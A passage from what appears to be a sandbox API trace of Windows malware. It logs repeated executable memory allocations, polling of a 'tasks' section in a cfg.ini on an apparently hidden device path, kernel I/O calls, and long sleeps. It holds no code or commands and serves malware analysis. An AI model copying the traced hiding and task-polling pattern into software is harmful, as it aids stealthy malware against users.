flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.479] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.479] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.480] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.480] KeEnterCriticalRegion () [0121.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.480] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.480] IdePortDispatch () returned 0x103 [0121.480] KeWaitForMutexObject () returned 0x0 [0121.480] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.480] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.480] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.480] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.480] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.480] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6e60 [0121.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.480] KeLeaveCriticalRegion () [0121.480] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.480] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.480] KeEnterCriticalRegion () [0121.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.480] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.480] KeLeaveCriticalRegion () [0121.480] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.480] KeEnterCriticalRegion () [0121.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.480] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.480] IdePortDispatch () returned 0x103 [0121.480] KeWaitForMutexObject () returned 0x0 [0121.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.481] KeLeaveCriticalRegion () [0121.481] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.481] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.481] KeEnterCriticalRegion () [0121.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.481] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3a000 [0121.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.481] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.481] IdePortDispatch () returned 0x103 [0121.481] KeWaitForMutexObject () returned 0x0 [0121.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.481] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.481] IdePortDispatch () returned 0x103 [0121.481] KeWaitForMutexObject () returned 0x0 [0121.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.481] KeLeaveCriticalRegion () [0121.481] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.482] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.482] KeEnterCriticalRegion () [0121.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.482] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.482] KeLeaveCriticalRegion () [0121.482] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.482] KeEnterCriticalRegion () [0121.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.482] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.482] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.482] KeLeaveCriticalRegion () [0121.482] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.482] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.482] KeEnterCriticalRegion () [0121.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.482] ExFreePoolWithTag (P=0xfffffa8003bd6e60, Tag=0x0) [0121.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.482] KeLeaveCriticalRegion () [0121.482] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.482] ReleaseMutex (hMutex=0xf0) returned 1 [0121.482] Sleep (dwMilliseconds=0x927c0) [0121.496] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.496] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.496] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.496] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.496] KeEnterCriticalRegion () [0121.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.496] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.496] IdePortDispatch () returned 0x103 [0121.496] KeWaitForMutexObject () returned 0x0 [0121.497] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.497] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.497] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.497] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.497] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.497] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5f60 [0121.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.497] KeLeaveCriticalRegion () [0121.497] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.497] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.497] KeEnterCriticalRegion () [0121.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.497] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.497] KeLeaveCriticalRegion () [0121.497] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.497] KeEnterCriticalRegion () [0121.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.497] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.497] IdePortDispatch () returned 0x103 [0121.498] KeWaitForMutexObject () returned 0x0 [0121.498] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.498] KeLeaveCriticalRegion () [0121.498] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.498] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.498] KeEnterCriticalRegion () [0121.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3f000 [0121.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.499] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.499] IdePortDispatch () returned 0x103 [0121.499] KeWaitForMutexObject () returned 0x0 [0121.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.499] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.499] IdePortDispatch () returned 0x103 [0121.499] KeWaitForMutexObject () returned 0x0 [0121.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.499] KeLeaveCriticalRegion () [0121.499] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.499] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.500] KeEnterCriticalRegion () [0121.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.500] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.500] KeLeaveCriticalRegion () [0121.500] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.500] KeEnterCriticalRegion () [0121.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.500] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.500] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5b80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.500] KeLeaveCriticalRegion () [0121.500] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.500] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.500] KeEnterCriticalRegion () [0121.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.500] ExFreePoolWithTag (P=0xfffffa8003bc5f60, Tag=0x0) [0121.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.500] KeLeaveCriticalRegion () [0121.500] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.500] ReleaseMutex (hMutex=0xf0) returned 1 [0121.500] Sleep (dwMilliseconds=0x927c0) [0121.513] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.514] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.514] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.514] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.514] KeEnterCriticalRegion () [0121.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.514] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.514] IdePortDispatch () returned 0x103 [0121.514] KeWaitForMutexObject () returned 0x0 [0121.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.514] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.514] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.514] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.514] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.514] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6b10 [0121.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.514] KeLeaveCriticalRegion () [0121.514] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.514] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.514] KeEnterCriticalRegion () [0121.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.514] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.514] KeLeaveCriticalRegion () [0121.514] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.514] KeEnterCriticalRegion () [0121.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.514] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.514] IdePortDispatch () returned 0x103 [0121.514] KeWaitForMutexObject () returned 0x0 [0121.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.515] KeLeaveCriticalRegion () [0121.515] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.515] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.515] KeEnterCriticalRegion () [0121.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.515] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b44000 [0121.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.515] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.515] IdePortDispatch () returned 0x103 [0121.515] KeWaitForMutexObject () returned 0x0 [0121.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.515] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.515] IdePortDispatch () returned 0x103 [0121.515] KeWaitForMutexObject () returned 0x0 [0121.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.515] KeLeaveCriticalRegion () [0121.515] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.516] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.516] KeEnterCriticalRegion () [0121.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.516] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.516] KeLeaveCriticalRegion () [0121.516] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.516] KeEnterCriticalRegion () [0121.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.516] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.516] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6bd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.516] KeLeaveCriticalRegion () [0121.516] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.516] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.516] KeEnterCriticalRegion () [0121.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.516] ExFreePoolWithTag (P=0xfffffa8003bd6b10, Tag=0x0) [0121.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.516] KeLeaveCriticalRegion () [0121.516] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.516] ReleaseMutex (hMutex=0xf0) returned 1 [0121.516] Sleep (dwMilliseconds=0x927c0) [0121.530] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.530] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.530] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.530] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.530] KeEnterCriticalRegion () [0121.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.530] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.530] IdePortDispatch () returned 0x103 [0121.531] KeWaitForMutexObject () returned 0x0 [0121.531] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.532] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.532] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.532] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.532] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.532] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4280 [0121.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.532] KeLeaveCriticalRegion () [0121.532] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.532] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: 